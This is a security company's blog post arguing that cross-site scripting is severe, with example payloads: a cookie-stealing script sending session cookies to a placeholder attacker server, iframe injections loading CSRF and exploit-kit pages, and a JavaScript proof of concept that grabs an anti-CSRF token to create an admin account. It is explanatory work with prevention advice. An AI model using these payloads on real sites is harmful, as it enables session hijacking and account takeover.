alert(‘XSS – Pwn3d!’): The Real Dangers of Cross-Site Scripting
NuHarbor SecurityCross-site scripting, otherwise known as XSS, is the most common web application vulnerability on the internet. What is XSS? Simply put, XSS is a vulnerability where a malicious user can insert script-code into an application to later have another user unknowingly execute it. All too often web application developers will overlook sanitizing user input whether throughout the entire application or a single parameter. Common spots for XSS vulnerabilities to occur are in comments, account names, or titles for pages/posts. Unfortunately, XSS is sometimes seen as a less than severe vulnerability. This blog explains how and why XSS is one of the most severe application vulnerabilities.
XSS is bad. Let’s clear the air now. Why is XSS so bad? Is forcing annoying pop-up alerts on unsuspecting users truly that big of a deal? The simple answer is yes; any time a user can create code that is run by another user, alarms should be going off and administrators’ jaws dropping. Let’s go beyond alert(‘Pwn3d!’) and look at some of the severe consequences XSS can lead to.
Cookie Stealing / Session Hijacking
Session hijacking through stealing cookies is one of the most popular and easy ways that attackers will abuse an XSS vulnerability. Consider the following:
An attacker discovers that the comments on a website’s homepage are not sanitized and allow for code to be injected into the page. This is persistent XSS because every time someone views the homepage all of the comments are shown and thus the injected code will run on each load. The attacker takes advantage of this and inserts some code along the lines of:
<script>// <![CDATA[
document.write('<img src="http://AttackServer.com/stealer.php?cookie="+escape(document.cookie)>');
// ]]></script>
What happens now is that every user who visits the homepage will try to load this “image” and in fact send their cookies for the site to the attacker.
An administrator for the site eventually logs in and is taken to the homepage. The attacker now has the administrator’s cookies, including the session cookie, and can successfully use this cookie to login to the site as the administrator.
How can this be prevented? For one, sanitizing the comment input to block/escape the use of dangerous characters such as < >. Secondly, setting the “httponly” flag on session cookies will prevent JavaScript from reading the sensitive cookie.
Cross Site Request Forgery (CSRF) Automation
For this attack the target website must also be vulnerable to Cross Site Request Forgery (CSRF) which is quite common, as well. A site is vulnerable to CSRF if one user can make requests on behalf of another user with or without their knowledge. An attacker can leverage XSS to greatly enhance the impact of a CSRF vulnerability.
Consider an attacker is targeting the same site as before with the vulnerable comments on the homepage. Only this time they are aware that to add administrator accounts to the site an authenticated administrator simply makes the POST request below:
Request
POST /admin/addUser.php HTTP/1.1
Host: vulnerablesite
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session_id=TnVIYXJib3JTZWNSb2NrcyE%3D
Connection: close
user=Jim&pass=changeme&admin=true
With this knowledge an attacker can build a page that, when an authenticated administrator visits it, results in this request being sent without the administrator’s knowledge. This occurs because when a request is made by a client to a domain, all cookies for that domain will be sent by the browser automatically, including session cookies. The attacker creates a page at http://AttackerServer/csrf.html using the code below:
<iframe style="display: none;" name="send"></iframe>
Unfortunately, this requires the attacker to trick an administrator into navigating to this malicious page. But thanks to the XSS vulnerability on the homepage comments, the attacker can place this code into the comments to force every user who visits the page to try and make this request:
<script>// <![CDATA[
document.write('<iframe style="display:none" src="http://AttackerServer/csrf.html"></iframe>');
// ]]></script>
Thanks to XSS, a CSRF attack that would have required social engineering has been virtually automated.
To prevent this attack, the CSRF vulnerability must be fixed. A good way to do this is to add anti-CSRF tokens to each request. But even with this, XSS can still be leverage to bypass the anti-CSRF.
Anti-CSRF Bypass Using XSS
Sophisticated attackers know the power of XSS vulnerabilities, and will use it to its full advantage. One not so well-known technique for bypassing CSRF protection measures relies on a XSS vulnerability. Imagine our attacker is targeting the same site as above and attempting to not only perform CSRF, but also automate it as before. Only this time the web application has updated its security and requires every request to an admin action page to require a unique X-CSRF-Token set as a header. In most situations this security feature will halt any CSRF attempt, but not in the case of persistent XSS vulnerabilities that allow an attacker to embed code with no size limit, like in the case of unrestricted comments.
This attack is multi-staged. In order to send the crafted request to force an authenticated administrator to add a new user the X-CSRF-Token must first be obtained. Often X-CSRF-Tokens are generated and supplied to a user via a hidden element in the HTML response of the page before the action request. In this case it would be supplied to an authenticated admin on the http://vulnerablesite/admin/userControlPanel.php page response so that it can be passed as cookie on the next request to http://vulnerablesite/admin/addUser.php. From an attacker’s view this means having to make two requests on behalf of the administrator, not just one. The first request to retrieve the X-CSRF-Token and the second request to submit the action using the obtained X-CSRF-Token. Fortunately for most of the internet, same-origin Policy prevents JavaScript from doing just that. But, the same-origin policy only applies to requests made from another domain. XSS allows the request to come from the same domain thus bypassing same-origin policy.
The chain of requests to forge:
Request A
POST /admin/userControlPanel.php HTTP/1.1
Host: vulnerablesite
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session_id=TnVIYXJib3JTZWNSb2NrcyE%3D
Connection: close
Response A
Request B
POST /admin/addUser.php HTTP/1.1
Host: vulnerablesite
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-Token: TnVIYXJib3JTZWN1cml0eTpEX0t1ZG9zVG9Zb3VGb3JEZWNvZGluZ1RoaXM%3D
Cookie: session_id=TnVIYXJib3JTZWNSb2NrcyE%3D
Connection: close
user=hacker&pass=myPassword&admin=true
Attack With Proof-of-Concept Code
Our attacker embeds the following code into the XSS vulnerable comment box on the homepage. Remember, this implies that the comment box allows enough characters.
<script>// <![CDATA[ data = "user=hacker&pass=myPassword&admin=true; function requestA() { xhr = new XMLHttpRequest(); xhr.open("GET", "/admin/userControlPanel.php", true); xhr.onreadystatechange = function () { if (xhr.readyState == 4 && xhr.status == 200) { var src = xhr.responseText; p = /name=\"csrf-token\"\ content=\"(.*)(?=\")/; var token = src.match(p)[1]; requestB(token); } } xhr.send(); } function requestB(token) { xhrb = new XMLHttpRequest(); xhrb.open("POST", "/admin/addUser.php", true); xhrb.setRequestHeader("X-CSRF-Token", token); xhrb.setRequestHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8"); xhrb.setRequestHeader("Content-length", data.length); xhrb.setRequestHeader("Connection", "close"); xhrb.send(data); } RequestA(); // ]]></script>
With this script embedded on the homepage, it will run once the page is loaded. In the cases of an authenticated administrator this script will bypass same-origin policy and carry-out the CSRF exploit via XSS. The RequestA function makes a request to the UserControlPanel page and uses regex to parse out the returned X-CSRF-Token in the response. Using this token passed to function RequestB, a request is crafted using the obtained X-CSRF-Token embedded in the header to successfully submit the malicious request. The result: a fully automated CSRF exploit that bypasses same-origin by leveraging XSS.
This attack requires many different cases to work: inside knowledge of the request format, a CSRF vulnerability, and a XSS vulnerability allowing large scripts to be embedded. However, we’ve seen this attack work due to how common these types of vulnerabilities are. Note that this type of attack can be highly customized and optimized for different scenarios. Some attackers may obfuscate and shrink the attack code, others might split it up into different functions in different XSS locations. Some may even leverage XSS on another page in the domain and call the script as needed. This alone should give one the idea of just how versatile and powerful a XSS vulnerability is.
Browser Exploitation and OS Remote Code Execution
To finish explaining the dangers of XSS vulnerabilities, we'll focus on some of the most malicious and real-world ways that attackers are taking full advantage of XSS. Botnets such as Feodo, GameOver Zeus, Palevo, Andromeda, variants and more dominate the internet. Tens of thousands of devices fall victim to malware running rampant around the web. But how is this malware propagating so immensely? There are many ways that malware spreads, many of which easily constitute a their own blog post. But one particular path relies implicitly on XSS.
In “the wild,” or on the internet as we know it, botnets take advantage of XSS vulnerabilities by the use of exploit kits. Exploit kits are generally extremely expensive software bundles created by hackers and sold on the black market. These packages contain various zero-day unknown exploits designed to exploit web browsers to gain access to a victim’s operating system. XSS comes into play in that often times exploit kits will carry out their attack by being embedded into website pages through XSS. In this way, unsuspecting visitors will be attacked by the exploit kit without ever knowing what happened. Here’s an example of what an exploit kit XSS spreader looks like:
document.write('<iframe style="display: none;" src="http://EXPLOITKITSERVER/exploit.js" width="300" height="150"></iframe>');
Other ways browser exploitation can occur are through the use of open-source tools such as the BeeF Framework, which is essentially an open-source exploit kit. Using similar techniques as an exploit kit spreader, the BeeF Framework allows an attacker to hijack a victim’s web-browser for the duration that a tab is opened simply by taking advantage of XSS to embed a call to the JavaScript “BeeF Hook”. Additionally, the BeeF Framework can be automated and expanded on by attackers to more closely act as an effective means of leveraging XSS.
Conclusion / TL;DR
Cross-site scripting (XSS) is bad. It’s bad for developers, it’s bad for the users of a web application, and it’s bad for network administrators. In fact, the only people that XSS is not bad for are malicious attackers and those lucky enough to get paid to discover vulnerabilities. XSS goes far beyond just messing with unsuspecting clients. XSS is a prime ingredient in any sophisticated attack and can be leveraged to perform cookie stealing and session hijacking, automated cross site request forgery (CSRF), same-origin policy bypass, X-CSRF tokens bypass, and even complete browser exploitation and operating system remote code execution. If alert(‘Pwn3d!’) doesn’t strike fear into you, it should.